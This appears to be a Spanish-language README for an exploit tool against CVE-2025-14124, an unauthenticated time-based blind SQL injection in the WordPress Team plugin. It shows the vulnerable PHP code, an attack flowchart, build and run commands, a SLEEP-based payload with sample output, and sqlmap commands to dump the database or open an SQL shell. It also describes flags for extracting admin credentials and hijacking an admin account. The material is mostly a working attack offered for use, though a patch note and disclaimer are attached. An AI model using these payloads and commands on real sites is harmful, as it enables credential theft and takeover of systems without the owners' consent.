
Inyección SQL no autenticada (Ciega basada en tiempo)
Autor: Hyun Chiya
| Campo | Valor |
|---|---|
| CVE ID | CVE-2025-14124 |
| Plugin | WordPress Team Plugin |
| Versiones afectadas | < 5.0.11 |
| Tipo de vulnerabilidad | Inyección SQL no autenticada (ciega basada en tiempo) |
| Gravedad | Alta |
El plugin WordPress Team no sanea ni escapa adecuadamente el parámetro search antes de usarlo en una sentencia SQL a través de una acción AJAX disponible para usuarios no autenticados, lo que provoca una inyección SQL.
El código vulnerable se encuentra en app/Controllers/Frontend/Ajax/LoadMore.php:
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like only escapes %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
Problema: $wpdb->esc_like() solo escapa comodines de LIKE, NO los metacaracteres de inyección SQL.
flowchart TD
A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
B --> C["POST to /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce valid?"}
E -->|Yes| F["SQL query executed with payload"]
F --> G["Time-based detection via SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff
[tlpteam]go build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
--dump)Al usar --dump, la herramienta extraerá:
Nota: La extracción de datos es lenta debido a la naturaleza de la inyección SQL ciega basada en tiempo (~5-15 minutos para la extracción completa).
--create-admin)Intenta cambiar la contraseña de un administrador existente mediante una actualización SQL (UPDATE).
⚠️ Importante: Este modo requiere soporte de consultas apiladas (stacked queries), que normalmente está deshabilitado en PHP+MySQL. Si no se admiten consultas apiladas, use
--dumppara extraer las credenciales en su lugar, o usesqlmap --sql-shellpara la ejecución directa del UPDATE.
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!
[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/
[+] Extracted nonce: abc123def456
[+] Extracted scID: 42
============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)
[*] Sending malicious request...
[*] Response time: 9.23 seconds
[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)
[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap
[*] Done.
Para una explotación avanzada, puede usar sqlmap después de confirmar la vulnerabilidad:
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ IMPORTANTE: Actualice el plugin WordPress Team a la versión 5.0.11 o posterior, donde la vulnerabilidad ha sido corregida con un escape SQL adecuado mediante
$wpdb->prepare().
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Úsela con responsabilidad.
Hyun Chiya
| Argumento | Descripción |
|---|
-u | URL de WordPress objetivo (obligatorio) |
--page-url | URL de la página que contiene el shortcode tlpteam |
--delay | Segundos de SLEEP para la detección (por defecto: 1) |
--dump | Extrae información de la base de datos y credenciales de administrador de WordPress |
--create-admin | Intenta secuestrar la cuenta de administrador (requiere consultas apiladas) |
--admin-user | Nombre de usuario para el secuestro de administrador (por defecto: pwned_admin) |
--admin-pass | Contraseña para el secuestro de administrador (por defecto: Pwned123!) |
--check-only | Solo comprueba si el plugin está activo |
--timeout | Tiempo de espera de la solicitud en segundos (por defecto: 120) |